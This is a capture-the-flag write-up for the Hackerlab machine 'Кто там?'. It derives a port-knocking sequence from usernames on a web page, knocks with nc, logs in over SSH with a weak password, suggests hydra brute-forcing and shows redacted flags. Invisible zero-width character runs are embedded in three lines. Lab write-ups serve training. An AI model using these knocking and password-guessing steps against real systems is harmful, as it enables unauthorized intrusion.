Кто там?

Platform: hackerlab | Category: Infrastructure | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-01-21 | Status: Solved Techniques: port_knocking, ssh_bruteforce, web_enumeration

Summary

Target: 192.168.2.204 Category: Pentest Machines (infra) Difficulty: Easy Points: 200

Кто там? — Hackerlab

Description

Перед тем, как войти, принято стучаться!

Target: 192.168.2.204
Category: Pentest Machines (infra)
Difficulty: Easy
Points: 200

Analysis

Web Page Reconnaissance

A web page was found on port 80. Usernames were discovered in the footer:

• Nikita2002
• Petya2003
• Sergey2006

The page also contained hints:

• Mention of "knock-knock" (hint at port knocking)
• Phrase about "keys from birth" (years in names = port sequence)

Port Knocking

The years from usernames form a sequence for port knocking:

• 2002
• 2003
• 2006 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

After "knocking" on these ports, SSH on port 22 becomes accessible.

Solution

1. Port Knocking

 bash read-only • copy allowed Copy
# Sequential "knocking" on ports
nc -z 192.168.2.204 2002
nc -z 192.168.2.204 2003
nc -z 192.168.2.204 2006

# Or with a single command
for port in 2002 2003 2006; do nc -z 192.168.2.204 $port; done

2. SSH Access

After port knocking, SSH port 22 becomes available.

Login: Sergey2006 (full name from footer)
Password: 123456 (weak password, can be brute-forced with hydra)

 bash read-only • copy allowed Copy
# Verify SSH is now open
nmap -p 22 192.168.2.204
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Connect
ssh Sergey2006@192.168.2.204
# Password: 123456

3. Getting the Flags

 bash read-only • copy allowed Copy
# User flag
cat ~/user.txt
# CODEBY{REDACTED

# Root flag (available in /tmp, likely via crontab)
cat /tmp/root.txt
# REDACTED}

Notes

• Port knocking is a defense technique where a port opens only after connecting to a specific sequence of closed ports
• The flag is split into two parts: user flag and root flag
• The flag name hints at crontab — likely root.txt is created periodically via a cron job ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍